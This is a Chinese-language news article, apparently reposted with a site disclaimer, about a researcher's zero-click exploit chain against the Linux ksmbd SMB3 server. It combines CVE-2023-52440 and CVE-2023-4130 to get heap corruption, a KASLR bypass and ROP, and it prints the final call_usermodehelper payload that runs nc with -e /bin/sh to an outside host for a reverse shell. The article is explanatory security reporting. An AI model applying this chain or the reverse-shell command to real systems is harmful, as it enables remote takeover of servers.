
一个零点击的Linux内核KSMBD远程代码执行漏洞利用程序,源于N天漏洞,可在一个已过时两年的Linux 6.1.45实例上实现远程代码执行,该实例运行着内核空间SMB3 守护进程ksmbd。
通过将两个经过验证的N-day漏洞CVE-2023-52440和CVE-2023-4130串联起来,该漏洞利用实现了未经验证的SLUB溢出和越界堆读取原语,最终在无需任何手动交互的情况下调用用户模式助手并获取反向shell。
针对ksmbd:一种内核空间SMB3守护进程
Eternal-Tux报告称,ksmbd模块实现了一个内核内SMB3服务器,以分担用户空间中性能关键型任务的负载。其挑战-响应NTLM认证和扩展属性处理在2023年和2024年分别引入了两个高严重性漏洞。
CVE-2023-52440 出现在 ksmbd_decode_ntlmssp_auth_blob() 函数中,其中未检查的 sess_key_len 会导致在 cifs_arc4_crypt() 过程中发生可控的 SLUB 溢出。
通过Impacket的ntlmChallengeResponse将session_key设置为攻击者提供的二进制大对象,该漏洞利用获得了可靠的堆溢出原语。
接下来,CVE-2023-4130存在于smb2_set_ea()中,其中对smb2_ea_info条目的长度验证不当,使得经过身份验证的用户能够对相邻堆块进行越界读取,并将其存入扩展属性中。

研究人员利用Impacket的setInfo()和queryInfo()函数精心构造恶意的EA缓冲区,并泄露内核堆内容,从而实现了KASLR绕过和精确的堆整理。
漏洞利用链
在一个启用了标准缓解措施(SMEP、SMAP、KPTI、KASLR、强化的SLUB)的单核测试平台上,该漏洞利用通过喷射多个TCP连接开始,以分配成对的ksmbd_conn(kmalloc-1k)和ksmbd_session(kmalloc-512)对象。
“喷射、泄露、重试”循环确保有效的会话泄露,而“溢出、验证、重试”模式则隔离溢出的连接。
通过滥用SLUB缓冲区溢出,攻击者会破坏ksmbd会话中的Preauth_HashValue指针,使其在kmalloc-1k上变成任意释放操作。

随后基于EA的泄露识别出目标ksmbd_conn对象,暴露内核指针并计算KASLR基址。掌握精确偏移量后,第二次SLUB溢出触发对伪造虚表对象的任意释放和重新分配。
ksmbd_conn中损坏的local_nls指针被覆盖,指向一个包含ROP gadget的伪造虚函数表,这些ROP gadget包括:pop rdi; ret、pop rsi; ret、pop rdx; ret、pop rcx; ret,以及一个leave; ret栈转移指令。
最终的有效载荷会调用call_usermodehelper(“/usr/bin/nc.traditional”,“-e”,“/bin/sh”,“ctfi.ng”,“16549”),随后调用msleep()来冻结内核线程,从而在16549端口生成一个反向shell。
尽管ksmbd的生产部署有限,但这一漏洞利用链凸显出,随着用户空间模块迁移到内核空间,内核的攻击面正在扩大。
Eternal-Tux的研究体现了零日漏洞利用开发日益增长的复杂性,以及对严格的内核漏洞管理的迫切需求。
1. 本版块文章内容及资料部分来源于网络,不代表本站观点,不对其真实性负责,也不构成任何建议。
2. 部分内容由网友自主投稿、编辑整理上传,本站仅提供交流平台,不为该类内容的版权负责。
3. 本版块提供的信息仅作参考,不保证信息的准确性、有效性、及时性和完整性。
4. 若您发现本版块有侵犯您知识产权的内容,请及时与我们联系,我们会尽快修改或删除。
5. 使用者违规、不可抗力(如黑客攻击)或第三方擅自转载引发的争议,联盟不承担责任。
6. 联盟可修订本声明,官网发布即生效,继续使用视为接受新条款。
